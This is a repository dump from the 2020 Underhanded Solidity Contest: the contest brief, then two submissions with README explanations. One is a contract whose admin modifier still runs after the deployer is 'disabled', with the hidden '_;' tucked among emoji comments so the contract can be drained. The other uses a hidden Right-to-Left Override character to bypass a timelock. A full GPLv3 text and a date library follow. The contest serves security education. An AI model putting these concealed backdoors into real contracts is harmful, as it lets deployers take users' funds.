The goal of the Underhanded Soldity Contest is to write innocent-looking Solidity code, which pretends to be clear and straightforward, but actually contains malicious behavior or backdoors.
This year's theme is upgradable contracts, or, more specifically, upgrade mechanisms.
Upgrades are a frequently used practice and are often necessary, e.g. to fix bugs in smart contracts. The problem with upgrades lays in the fact that, most times, users aren’t presented with the upgrade beforehand and no consent is needed from the users to execute it.
Upgrade mechanisms are often designed such that a single account has the ability to change the code arbitrarily. However, a smart contract in which a single account is authorised to arbitrarily change its implementation defeats the idea of decentralization.
Come up with an upgrade mechanism that seems fair and safe (e.g. by implementing an opt-out mechanism or a way to split the contract) but has a flaw or backdoor. The backdoor should be hard to discover and, in the best case, results in a single account having full control, even if it does not seem like it.
To keep submissions reasonably sized, the contract that is actually to be upgraded should be very small, e.g. an ERC20 contract or a simple registry. Note that the flaw should be in the upgrade mechanism, not in the main contract - you do not have to come up with a reason to actually upgrade the contract, but a little “story” around the hack is always nice, too.
Judges
Judges are presented with anonymised submissions. The submissions will be assessed by:
Alex Beregszaszi, Solidity Co-Lead at Ethereum Foundation.
Austin Williams, Security Researcher at OpenZeppelin.
Christian Reitwiessner, Solidity Co-Lead at Ethereum Foundation.
Gonçalo Sá, Security Engineer at ConsenSys Diligence.
Stefan Beyer, Lead Auditor at Solidified.
Prizes
The prizes are sponsored by several Ethereum-related security projects as well as the Ethereum Foundation. Each winner, starting with the 1st place, can choose a prize from the pool.
Furthermore, the winners and all qualified submissions will receive a custom NFT.
Coding Brief & Guidelines
All you need to know about contest participation and submission!
Brief
Design an upgrade mechanism that looks “safe” (with opt-in/opt-out option) but has a backdoor. This means that users should believe that they have control over the upgrade process, either by opting out of the upgrade, splitting the contract or something similar, but in fact, the deployer still has some form of control. The main contract is not important and should be as small as possible.
Plausibility & Originality
Remember to consider plausibility. Code that drops down to inline assembly without any clear reason why will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.
In addition to that it's needless to say that truly original ideas will receive more points than making use of already well known exploit/backdoor mechanisms.
Simplicity is key!
Submissions that are short and clean will be scored higher than those that are lengthy and complicated. It’s easy to hide a vulnerability in complex and poorly written code; far harder to hide it in clean and simple code.
Timeline
Make sure to send submissions before the end of the deadline.
Submissions open on 2020-10-01.
Submissions close on 2020-10-31.
Winners will be announced by the end of November.
Open-Source License
The entirety of your submission must be licensed under an open-source license. You must not submit anything that cannot be published.
Solidity Version
It is highly encouraged to use Solidity v0.7.0 or newer. If you want to use a version
of the 0.6 series, please make sure to not make use of flaws that have been fixed in 0.7. Don't use versions older than 0.6
Submission & Participation 📩
Please email your submissions before the deadline (2020-10-31) to sol_underhanded@ethereum.org. Entries should consist of a ZIP file containing a README describing your submission and how it works (spoilers included), and one or more Solidity files.
Each person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.
Who can participate?
Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.
About 📖
Inspired by the Underhanded C Contest and the first Underhanded Solidity Contest, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a revival. We hope this contest will get the traction it deserves in which case we could consider turning it into a recurring event.
The Underhanded Solidity Contest aims to:
Raise awareness about smart contract security.
Uncover language design faults.
Battle-test recently introduced language features and restrictions.
Highlight anti-patterns in smart contact development.
Establish new best practices for secure smart contract development.
You have questions, want to get involved by sponsoring a prize, help with judging or propose a theme for the next Underhanded Solidity Contest? Then feel free to reach out to us!
================================================
FILE: 2020/submissions_2020/submission10_MartinHolstSwende/README.md
================================================
## Malicious upgrader
This contract implements a contract which stores a `deployer` and `owner`. If the `owner` is unset, the `deployer` is the admin.
The `owner` (or `deployer`) can, ostensibly, later decide to remove the `deployer` admin-rights.
However, the modifier `onlyAdmins` actually
- rejects non-owner and non-deployer
- allows owner
- and, finally, executes the code anyway.
The code tries to hide the last `_:` by blending it into some ascii meme comments.
================================================
FILE: 2020/submissions_2020/submission10_MartinHolstSwende/test.sol
================================================
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.1;
contract test{
address owner = address(0);
address deployer = address(1);
bool deployerActive = true;
constructor(address ownerAddress){
deployer = msg.sender;
if (ownerAddress != address(0)){
/* Owner is set. That means the deployer should be deactivated as admin */
deployerActive = false;
owner = ownerAddress;
}
}
modifier onlyAdmins {
/* Non-admins go away, haha ʕノ•ᴥ•ʔノ ︵ ┻━┻ */
require(msg.sender == owner || msg.sender == deployer);
/* The owners can always call this thing! */
/* And Deployer can call it, if he's still active */
if (msg.sender == owner || deployerActive){
_;
return;
}
/* Ahh, no, this method is *disabled* (╯°□°)╯︵ ┻━┻ */_
;}
/* This is very special admin function. Drain contract of all money! */
function payTime() onlyAdmins public returns(bool){
msg.sender.transfer(address(this).balance);
return true;
}
/* Disable the deployer super-powers */
function disableDeployer() onlyAdmins external{
deployerActive = false;
}
}
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/LICENSE.txt
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/README.md
================================================
# Timelock Upgrade!
This contract is a bulletproof, totally safe way to upgrade the masterCopy of a proxy contract. The owner of the contract is the only one who can propose and confirm, but they must wait a full month after proposal before it can be confirmed. This ensures users have time to opt-out of the contract if they do not agree with the upgrade.
Just kidding they don't have that time.
On line 66, directly after the "h" in the 'month' comment and directly before the 'h' in the "hour" comment, there are hidden Unicode characters. The first Unicode character is "Right-to-Left Override" (U+202E); the second Unicode character is "Pop Directional Formatting" (U+202C). The RTLO character reverses the direction code is written and read. The Pop Directional Formatting character then stops RTLO from affecting the rest of the line. Unicode can only be used within strings and comments so you have to format this "exploit" pretty specifically for it to not look too suspicious.
By doing this, we can write code that looks perfectly normal but executes in unexpected ways. When we find month and day using Bokky's timestamp library the first time, everything is normal. The second time we use it we've reversed the code in the middle.
While the line looks like:
`(/*year*/, /*month*/ m, /*day*/ d, /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(now);`
it executes (and was typed) as:
`(/*year*/, /*month*/ ,d /*yad*/ ,m /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(now);`
This means that what should be the current month is actually set as the current hour, so all an owner has to do is call propose and confirm at the hour of the day corresponding to the value of upgrade month and masterCopy can be changed with no time for users to opt out.
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/contracts/BokkyDateTime.sol
================================================
pragma solidity ^0.7.0;
/**
* @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.
**/
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyDateTime {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
